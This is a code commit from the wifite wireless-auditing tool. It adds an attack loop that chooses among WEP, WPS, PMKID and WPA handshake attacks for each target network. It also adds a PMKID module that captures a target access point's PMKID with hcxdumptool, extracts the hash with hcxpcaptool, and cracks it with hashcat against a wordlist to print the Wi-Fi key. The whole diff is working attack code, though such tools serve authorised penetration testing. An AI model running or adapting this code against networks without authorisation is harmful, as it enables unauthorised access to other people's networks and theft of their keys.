Added PMKID attack. Simplified attack-loop.
This commit is contained in:
105
wifite/attack/all.py
Normal file
105
wifite/attack/all.py
Normal file
@@ -0,0 +1,105 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from .wep import AttackWEP
|
||||
from .wpa import AttackWPA
|
||||
from .wps import AttackWPS
|
||||
from .pmkid import AttackPMKID
|
||||
from ..config import Configuration
|
||||
from ..util.color import Color
|
||||
from ..util.input import raw_input
|
||||
|
||||
class AttackAll(object):
|
||||
|
||||
@classmethod
|
||||
def attack_multiple(cls, targets):
|
||||
attacked_targets = 0
|
||||
targets_remaining = len(targets)
|
||||
for index, target in enumerate(targets, start=1):
|
||||
attacked_targets += 1
|
||||
targets_remaining -= 1
|
||||
|
||||
bssid = target.bssid
|
||||
essid = target.essid if target.essid_known else "{O}ESSID unknown{W}"
|
||||
|
||||
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
|
||||
' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
|
||||
|
||||
should_continue = cls.attack_single(target, targets_remaining)
|
||||
if not should_continue:
|
||||
break
|
||||
|
||||
return attacked_targets
|
||||
|
||||
@classmethod
|
||||
def attack_single(cls, target, targets_remaining):
|
||||
attacks = []
|
||||
|
||||
if Configuration.use_eviltwin:
|
||||
pass # TODO:EvilTwin attack
|
||||
|
||||
elif 'WEP' in target.encryption:
|
||||
attacks.append(AttackWEP(target))
|
||||
|
||||
elif 'WPA' in target.encryption:
|
||||
# WPA can have multiple attack vectors
|
||||
if target.wps:
|
||||
attacks.append(AttackWPS(target))
|
||||
attacks.append(AttackPMKID(target))
|
||||
attacks.append(AttackWPA(target))
|
||||
|
||||
if len(attacks) == 0:
|
||||
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
|
||||
return
|
||||
|
||||
for attack in attacks:
|
||||
try:
|
||||
result = attack.run()
|
||||
if result and attack.success:
|
||||
break # We cracked it.
|
||||
except Exception as e:
|
||||
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
|
||||
if Configuration.verbose > 0 or Configuration.print_stack_traces:
|
||||
Color.pl('\n{!} {O}Full stack trace below')
|
||||
from traceback import format_exc
|
||||
Color.p('\n{!} ')
|
||||
err = format_exc().strip()
|
||||
err = err.replace('\n', '\n{W}{!} {W} ')
|
||||
err = err.replace(' File', '{W}{D}File')
|
||||
err = err.replace(' Exception: ', '{R}Exception: {O}')
|
||||
Color.pl(err)
|
||||
continue
|
||||
except KeyboardInterrupt:
|
||||
Color.pl('\n{!} {O}interrupted{W}\n')
|
||||
if not cls.user_wants_to_continue(targets_remaining, 1):
|
||||
return False # Stop attacking other targets
|
||||
|
||||
if attack.success:
|
||||
attack.crack_result.save()
|
||||
|
||||
return True # Keep attacking other targets
|
||||
|
||||
|
||||
@classmethod
|
||||
def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
|
||||
''' Asks user if attacks should continue onto other targets '''
|
||||
if attacks_remaining == 0 and targets_remaining == 0:
|
||||
# No targets or attacksleft, drop out
|
||||
return
|
||||
|
||||
prompt_list = []
|
||||
if attacks_remaining > 0:
|
||||
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
|
||||
if targets_remaining > 0:
|
||||
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
|
||||
prompt = ' and '.join(prompt_list)
|
||||
Color.pl('{+} %s remain, do you want to continue?' % prompt)
|
||||
|
||||
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
|
||||
' or {R}s{W} to {R}stop{W}: ')
|
||||
|
||||
if raw_input(prompt).lower().startswith('s'):
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
165
wifite/attack/pmkid.py
Normal file
165
wifite/attack/pmkid.py
Normal file
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from ..model.attack import Attack
|
||||
from ..config import Configuration
|
||||
from ..util.color import Color
|
||||
from ..util.process import Process
|
||||
from ..util.timer import Timer
|
||||
from ..model.pmkid_result import CrackResultPMKID
|
||||
|
||||
from threading import Thread
|
||||
import os
|
||||
import time
|
||||
|
||||
'''
|
||||
TODO:
|
||||
1. Rename AttackWPA to AttackWpaHandshake
|
||||
2. Rename AttackWPS to AttackWpaPixie
|
||||
3. Rename AttackPMKID to AttackWpaPMKID
|
||||
4. Use AttackWPA to try any or all of the above depending on config/args.
|
||||
Greatly simplifies the attack loop in wifite.py
|
||||
Or consolidate all attacks under "Attack" which selects the correct attack based on the target.
|
||||
Might be hard to capture KeyboardInterrupt, but we can always propagate it.
|
||||
|
||||
Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util'
|
||||
'''
|
||||
class AttackPMKID(Attack):
|
||||
def __init__(self, target):
|
||||
super(AttackPMKID, self).__init__(target)
|
||||
self.crack_result = None
|
||||
self.success = False
|
||||
self.pcapng_output = Configuration.temp('pmkid.pcapng')
|
||||
self.pmkid_output = Configuration.temp('pmkid.16800')
|
||||
|
||||
def run(self):
|
||||
# TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found.
|
||||
self.keep_capturing = True
|
||||
self.timer = Timer(60)
|
||||
|
||||
# Start hcxdumptool
|
||||
t = Thread(target=self.hcxdump_thread)
|
||||
t.start()
|
||||
|
||||
# Regularly check hcxpcaptool output for hash for self.target.essid
|
||||
pmkid_hash = None
|
||||
while self.timer.remaining() > 0:
|
||||
pmkid_hash = self.get_pmkid_hash()
|
||||
if pmkid_hash is not None:
|
||||
# Got PMKID
|
||||
break
|
||||
Color.pattack('PMKID', self.target, 'capture',
|
||||
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
|
||||
time.sleep(1)
|
||||
|
||||
if pmkid_hash is not None:
|
||||
Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...')
|
||||
# When hash is found, start cracking
|
||||
if self.crack_pmkid(pmkid_hash):
|
||||
self.success = True
|
||||
|
||||
self.keep_capturing = False
|
||||
|
||||
return self.success
|
||||
|
||||
def crack_pmkid(self, pmkid_hash):
|
||||
# Write hash to file
|
||||
# TODO: Should we write this to ./hs/ with .pmkid suffix?
|
||||
hash_file = Configuration.temp('pmkid.hash')
|
||||
with open(hash_file, 'w') as f:
|
||||
f.write(pmkid_hash)
|
||||
f.write('\n')
|
||||
|
||||
# Run hashcat
|
||||
command = [
|
||||
'hashcat',
|
||||
'--force',
|
||||
'--quiet',
|
||||
'-m', '16800',
|
||||
'-a', '0', # TODO: Configure
|
||||
'-w', '2', # TODO: Configure
|
||||
hash_file,
|
||||
Configuration.wordlist
|
||||
]
|
||||
|
||||
# TODO: Check status of hashcat (%); it's impossible with --quiet
|
||||
|
||||
try:
|
||||
hashcat_proc = Process(command)
|
||||
hashcat_proc.wait()
|
||||
stdout = hashcat_proc.stdout()
|
||||
except KeyboardInterrupt: # In case user gets impatient
|
||||
stdout = ''
|
||||
|
||||
if ':' not in stdout:
|
||||
# Failed
|
||||
Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ')
|
||||
Color.pl("")
|
||||
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None)
|
||||
#self.crack_result.dump()
|
||||
return False
|
||||
else:
|
||||
# Update Crack Result
|
||||
key = stdout.strip().split(':', 1)[1]
|
||||
Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key)
|
||||
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key)
|
||||
self.crack_result.dump()
|
||||
return True
|
||||
|
||||
def get_pmkid_hash(self):
|
||||
if os.path.exists(self.pmkid_output):
|
||||
os.remove(self.pmkid_output)
|
||||
|
||||
command = [
|
||||
'hcxpcaptool',
|
||||
'-z', self.pmkid_output,
|
||||
self.pcapng_output
|
||||
]
|
||||
hcxpcap_proc = Process(command)
|
||||
hcxpcap_proc.wait()
|
||||
|
||||
if not os.path.exists(self.pmkid_output):
|
||||
return None
|
||||
|
||||
with open(self.pmkid_output, 'r') as f:
|
||||
output = f.read()
|
||||
|
||||
# Check that we got the right target
|
||||
# pmkid_hash*bssid*station_mac*essid(hex)
|
||||
for line in output.split('\n'):
|
||||
fields = line.split('*')
|
||||
if len(fields) < 3:
|
||||
continue
|
||||
if fields[1].lower() != self.target.bssid.lower().replace(':', ''):
|
||||
continue
|
||||
output = line
|
||||
break
|
||||
|
||||
os.remove(self.pmkid_output)
|
||||
return output
|
||||
|
||||
def hcxdump_thread(self):
|
||||
# Create filterlist
|
||||
filterlist = Configuration.temp('pmkid.filterlist')
|
||||
with open(filterlist, 'w') as filter_file:
|
||||
filter_file.write(self.target.bssid.replace(':', ''))
|
||||
|
||||
if os.path.exists(self.pcapng_output):
|
||||
os.remove(self.pcapng_output)
|
||||
|
||||
command = [
|
||||
"hcxdumptool",
|
||||
"-i", Configuration.interface,
|
||||
"--filterlist", filterlist,
|
||||
"--filtermode", "2",
|
||||
"-c", self.target.channel,
|
||||
"-o", self.pcapng_output
|
||||
]
|
||||
|
||||
hcxdump_proc = Process(command)
|
||||
|
||||
# Let the dump tool run until we have the hash.
|
||||
while self.keep_capturing and hcxdump_proc.poll() == None:
|
||||
time.sleep(0.5)
|
||||
|
||||
hcxdump_proc.interrupt()
|
||||
Reference in New Issue
Block a user